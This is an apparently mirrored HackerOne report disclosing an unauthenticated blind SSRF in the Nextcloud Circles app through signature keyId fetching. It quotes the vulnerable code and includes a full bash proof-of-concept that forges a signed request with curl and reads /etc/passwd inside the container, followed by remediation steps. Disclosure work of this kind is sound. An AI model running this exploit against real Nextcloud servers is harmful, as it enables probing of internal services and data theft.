HexBrain

Nextcloud · Report #3303283

Unauthenticated blind SSRF in Circles signature verification bypasses Nextcloud local-address protections

Validstatus
mediumseverity
15upvotes
17 Sept 2026disclosed

Summary

https://github.com/nextcloud/security-advisories/security/advisories/GHSA-8h5g-6684-53v9

How it was found

Summary

  • The Circles app exposes public, no-auth endpoints (e.g., POST /index.php/apps/circles/event/). During signature verification, the server fetches the attacker-provided keyId URL before trust is established. Circles configures the HTTP client to allow local/private addresses, bypassing Nextcloud core SSRF protections.
  • Any unauthenticated user can force the server to GET internal URLs (loopback/RFC1918): blind SSRF.

Affected endpoints (public, no auth)

  • POST /index.php/apps/circles/event/
  • POST /index.php/apps/circles/incoming/

From appinfo/routes.php:

(https://github.com/nextcloud/circles/blob/master/appinfo/routes.php)

85-94:appinfo/routes.php
['name' => 'Remote#event', 'url' => '/event/', 'verb' => 'POST'],
['name' => 'Remote#incoming', 'url' => '/incoming/', 'verb' => 'POST'],

Vulnerable code locations

  1. Public endpoints call signature verification and then process the body:

(https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Controller/RemoteController.php#L139)

139-151:lib/Controller/RemoteController.php
public function event(): DataResponse {
    try {
        $event = $this->extractEventFromRequest();
    } catch (Exception $e) { ... }
    ...
}
  1. Signature verification fetches attacker-controlled keyId: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Tools/ActivityPub/NCSignature.php#L239)
239-248:lib/Tools/ActivityPub/NCSignature.php
private function verifyIncomingRequestSignature(NCSignedRequest $signedRequest) {
    $data = $signedRequest->getSignatureHeader();
    try {
        $signedRequest->setSignatory($this->retrieveSignatory($data->g('keyId'), false));
        $this->verifySignedRequest($signedRequest);
    } catch (SignatoryException $e) {
        $signedRequest->setSignatory($this->retrieveSignatory($data->g('keyId'), true));
        $this->verifySignedRequest($signedRequest);
    }
}

Circles override performs the outbound request:

(https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Service/RemoteStreamService.php#L352)

352-372:lib/Service/RemoteStreamService.php
public function retrieveSignatory(string $keyId, bool $refresh = true): NCSignatory {
    ...
    $request = new NCRequest();
    $this->configService->configureRequest($request);
    $this->downloadSignatory($remoteInstance, $keyId, ['auth' => $confirm], $request);
    ...
}
  1. Local/private addresses explicitly allowed: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Service/ConfigService.php#L724)
724-731:lib/Service/ConfigService.php
public function configureRequest(NCRequest $request): void {
    ...
    $request->setLocalAddressAllowed(true);
    ...
}

Propagates to Nextcloud client: (https://github.com/nextcloud/circles/blob/c58cce94333d94f95e48860f724a07488970b0e5/lib/Tools/Traits/TNCRequest.php#L117)

117-132:lib/Tools/Traits/TNCRequest.php
if ($request->isLocalAddressAllowed()) {
    $options['nextcloud']['allow_local_address'] = true; // bypass core protection
}

Why 401 is expected

  • The server returns 401 when signature verification fails.
  • The outbound GET to keyId occurs BEFORE the 401 (to obtain the public key), so SSRF happens despite the final 401: it’s blind SSRF.

POC

  • will Start tiny HTTP endpoint INSIDE the nextcloud container (127.0.0.1:<port>) logging requests and appending /etc/passwd (or /secret.txt) to its log.
  • Trigger SSRF with keyId http://127.0.0.1:<port>/key
  • Read container log to see:
FILE:/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Script used to show video poc

#!/usr/bin/env bash
# Unauthenticated blind SSRF in Nextcloud Circles
# - Requires Docker access to the Nextcloud container
# - Starts a tiny HTTP endpoint INSIDE the container that reads a file
# - Triggers SSRF to that endpoint
# - Prints the captured file from the container log

set -euo pipefail

# --- Config (override via env) ---
VICTIM_BASE="${VICTIM_BASE:-http://127.0.0.1:8080}"
CONTAINER="${CONTAINER:-nextcloud}"
FILE_TO_READ="${FILE_TO_READ:-/etc/passwd}"   # e.g., /secret.txt
PORT_CANDIDATES="${PORT_CANDIDATES:-8181 8888 18080 28080}"
ENABLE_CIRCLES="${ENABLE_CIRCLES:-1}"
# ---------------------------------

need() { command -v "$1" >/dev/null 2>&1 || { echo "Missing: $1" >&2; exit 1; }; }
need docker; need curl; need openssl; need awk; need base64

say() { printf '[*] %s\n' "$*"; }
ok()  { printf '[+] %s\n' "$*"; }
die() { printf '[!] %s\n' "$*" >&2; exit 1; }

say "Victim: $VICTIM_BASE"
say "Container: $CONTAINER"
say "Target file: $FILE_TO_READ"

if [[ "$ENABLE_CIRCLES" = "1" ]]; then
  say "Ensuring Circles app is enabled..."
  docker exec -u www-data "$CONTAINER" php occ app:enable circles >/dev/null 2>&1 || true
  ok "Circles ensured enabled"
fi

say "Installing internal handler in container..."
HANDLER=$(cat <<'PHP'
<?php
http_response_code(200);
file_put_contents("/tmp/ssrf_container.log",
  "\n=== HIT ===\n".date("c")."\n".$_SERVER["REQUEST_METHOD"]." ".$_SERVER["REQUEST_URI"]."\n".
  print_r(getallheaders(), true)."\n", FILE_APPEND);
$path = getenv("FILE_TO_READ") ?: "/etc/passwd";
$contents = @file_get_contents($path);
file_put_contents("/tmp/ssrf_container.log", "FILE:".$path."\n".$contents."\n", FILE_APPEND);
header("Content-Type: application/ld+json");
echo "{\"id\":\"http://127.0.0.1:PORT/key\",\"publicKey\":{\"id\":\"http://127.0.0.1:PORT/key#main-key\",\"owner\":\"http://127.0.0.1:PORT/key\",\"publicKeyPem\":\"-----BEGIN PUBLIC KEY-----\\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALrJ3wIDAQAB\\n-----END PUBLIC KEY-----\"}}";
PHP
)
printf %s "$HANDLER" | base64 | docker exec -i "$CONTAINER" /bin/sh -lc 'base64 -d >/tmp/index.php'

# Pick a free loopback port
PORT=""
for p in $PORT_CANDIDATES; do
  if docker exec -i "$CONTAINER" /bin/sh -lc "ss -lnt 2>/dev/null | grep -q \":$p \" && echo busy || echo free" | grep -q free; then
    PORT="$p"; break
  fi
done
[[ -z "$PORT" ]] && PORT=8181

# Start PHP server on chosen port; replace placeholder PORT in handler response
docker exec -i "$CONTAINER" /bin/sh -lc "sed -i s/PORT/$PORT/g /tmp/index.php"
docker exec -i "$CONTAINER" /bin/sh -lc "export FILE_TO_READ='$FILE_TO_READ'; php -S 127.0.0.1:$PORT -t /tmp >/tmp/ssrf_container.log 2>&1 & echo \$! >/tmp/.poc_pid"
sleep 1
docker exec -i "$CONTAINER" /bin/sh -lc "head -n 1 /tmp/ssrf_container.log" || true
ok "Internal endpoint on 127.0.0.1:$PORT"

say "Triggering SSRF via Circles 'event' endpoint..."
DATE="$(LC_ALL=C date -u +"%a, %d %b %Y %H:%M:%S GMT")"
BODY='{}'
CLEN=$(printf %s "$BODY" | wc -c | tr -d ' ')
DIGEST="SHA-256=$(printf '%s' "$BODY" | openssl dgst -sha256 -binary | openssl base64)"
HOST_HDR="$(printf '%s' "$VICTIM_BASE" | sed -E 's#https?://##; s%/.*$%%')"
SIG_HDR="keyId=\"http://127.0.0.1:${PORT}/key\",algorithm=\"rsa-sha256\",headers=\"content-length date host digest\",signature=\"AA==\""

EVENT_URL="${VICTIM_BASE%/}/index.php/apps/circles/event/"
RES=$(curl -sk -i "$EVENT_URL" \
  -H "Accept: application/json" \
  -H "Date: $DATE" \
  -H "Host: $HOST_HDR" \
  -H "Content-Length: $CLEN" \
  -H "Digest: $DIGEST" \
  -H "Signature: $SIG_HDR" \
  --data "$BODY" | head -n 1 || true)
ok "Circles/event responded: ${RES:-<none>}"

say "Reading captured file from container log..."
docker exec -i "$CONTAINER" /bin/sh -lc "awk -v m=\"FILE:$FILE_TO_READ\" 'f||index(\$0,m){f=1;print}' /tmp/ssrf_container.log | sed -n '1,120p'"

ok "Done. If you see 'FILE:$FILE_TO_READ' followed by contents, SSRF reached the internal endpoint."

Steps to reproduce

  1. Ensure Circles enabled (occ app:enable circles).
  2. Ensure Nextcloud running
  3. run the script bash scrip.sh

Remediation

  1. Do not allow local/private addresses for untrusted fetches:
    • Remove setLocalAddressAllowed(true) from configureRequest() for untrusted outbound requests.
    • Use hardened profile: HTTPS-only, verify peer, no/strict redirects, tight timeouts.
  2. Validate keyId before fetching:
    • Require https://, block IP literals and private/loopback ranges (IPv4/IPv6) and hostnames resolving to them.
  3. Cache/pin origins for keys (TOFU or better) to avoid arbitrary re-fetches.
  4. Consider content-type checks and stricter redirect handling.

Impact

  • Reach loopback-only services (e.g., Collabora CODE on 9980, internal dashboards on 127.0.0.1).
  • Probe internal RFC1918 services (10/172/192.168).
  • Attempt metadata endpoints (169.254.169.254) if not hardened.
  • Follow redirects server-side to chain SSRF to internal hosts.
  • Trigger side-effects (test webhooks, callbacks) to exfiltrate data indirectly.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original